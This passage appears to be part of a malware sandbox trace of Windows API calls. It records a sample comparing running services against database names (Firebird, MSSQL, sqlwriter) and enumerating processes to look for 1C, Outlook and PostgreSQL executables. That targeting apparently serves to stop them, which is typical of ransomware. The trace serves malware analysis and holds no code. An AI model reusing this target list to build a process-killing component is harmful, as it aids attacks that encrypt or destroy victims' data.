(lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0121.507] lstrlenW (lpString="RpcSs") returned 5 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0121.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0121.507] lstrlenW (lpString="SamSs") returned 5 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0121.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0121.507] lstrlenW (lpString="Schedule") returned 8 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0121.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0121.507] lstrlenW (lpString="SENS") returned 4 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0121.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0121.507] lstrlenW (lpString="ShellHWDetection") returned 16 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0121.508] lstrlenW (lpString="Spooler") returned 7 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0121.508] lstrlenW (lpString="sppsvc") returned 6 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0121.508] lstrlenW (lpString="SysMain") returned 7 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0121.508] lstrlenW (lpString="Themes") returned 6 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0121.508] lstrlenW (lpString="TrkWks") returned 6 [0121.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0121.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0121.508] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0121.508] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0121.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0121.509] lstrlenW (lpString="UxSms") returned 5 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0121.509] lstrlenW (lpString="VSS") returned 3 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0121.509] lstrlenW (lpString="W32Time") returned 7 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0121.509] lstrlenW (lpString="WdiServiceHost") returned 14 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0121.509] lstrlenW (lpString="WdiSystemHost") returned 13 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0121.509] lstrlenW (lpString="WinDefend") returned 9 [0121.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0121.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0121.509] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0121.509] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0121.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0121.509] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0121.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0121.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0121.510] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0121.510] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0121.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0121.510] lstrlenW (lpString="Winmgmt") returned 7 [0121.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0121.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0121.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0121.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0121.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0121.510] lstrlenW (lpString="wscsvc") returned 6 [0121.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0121.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0121.510] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0121.510] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0121.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0121.510] lstrlenW (lpString="wuauserv") returned 8 [0121.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0121.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0121.510] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0121.510] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0121.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0121.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0121.512] Process32FirstW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.513] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.514] lstrlenW (lpString="System") returned 6 [0121.514] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0121.514] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0121.514] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0121.515] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0121.515] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.518] lstrlenW (lpString="smss.exe") returned 8 [0121.518] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.518] lstrlenW (lpString="csrss.exe") returned 9 [0121.519] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.519] lstrlenW (lpString="wininit.exe") returned 11 [0121.519] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.520] lstrlenW (lpString="csrss.exe") returned 9 [0121.520] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.521] lstrlenW (lpString="winlogon.exe") returned 12 [0121.521] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.522] lstrlenW (lpString="services.exe") returned 12 [0121.522] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.523] lstrlenW (lpString="lsass.exe") returned 9 [0121.523] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.524] lstrlenW (lpString="lsm.exe") returned 7 [0121.524] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.524] lstrlenW (lpString="svchost.exe") returned 11 [0121.524] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.526] lstrlenW (lpString="svchost.exe") returned 11 [0121.526] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.526] lstrlenW (lpString="svchost.exe") returned 11 [0121.527] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.527] lstrlenW (lpString="svchost.exe") returned 11 [0121.527] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.528] lstrlenW (lpString="svchost.exe") returned 11 [0121.528] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.529] lstrlenW (lpString="audiodg.exe") returned 11 [0121.529] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.530] lstrlenW (lpString="svchost.exe") returned 11 [0121.530] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.531] lstrlenW (lpString="svchost.exe") returned 11 [0121.531] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.532] lstrlenW (lpString="dwm.exe") returned 7 [0121.532] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.533] lstrlenW (lpString="explorer.exe") returned 12 [0121.533] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.534] lstrlenW (lpString="spoolsv.exe") returned 11 [0121.534] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.535] lstrlenW (lpString="taskhost.exe") returned 12 [0121.535] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.536] lstrlenW (lpString="svchost.exe") returned 11 [0121.536] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.537] lstrlenW (lpString="taskeng.exe") returned 11 [0121.537] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.537] lstrlenW (lpString="taskhost.exe") returned 12 [0121.538] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0121.538] lstrlenW (lpString="fixwaves.exe") returned 12 [0121.538] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0121.539] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0121.539] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0121.540] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0121.540] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0121.541] lstrlenW (lpString="monsaver.exe") returned 12 [0121.541] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0121.887] lstrlenW (lpString="dosesugar.exe") returned 13 [0121.887] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0121.890] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0121.890] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0121.891] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0121.891] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0121.892] lstrlenW (lpString="nonprofit top.exe") returned 17 [0121.892] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0121.892] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0121.892] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0121.893] lstrlenW (lpString="accused.exe") returned 11 [0121.893] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0121.894] lstrlenW (lpString="governance.exe") returned 14 [0121.894] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0121.895] lstrlenW (lpString="old.exe") returned 7 [0121.895] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0121.895] lstrlenW (lpString="xi cg.exe") returned 9 [0121.895] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0121.896] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0121.896] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0121.897] lstrlenW (lpString="burlington.exe") returned 14 [0121.897] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0121.897] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0121.897] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0121.898] lstrlenW (lpString="buildings.exe") returned 13 [0121.898] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0121.899] lstrlenW (lpString="predictions_took.exe") returned 20 [0121.899] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0121.899] lstrlenW (lpString="carry_dns.exe") returned 13 [0121.899] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0121.900] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0121.900] Process32NextW (in: 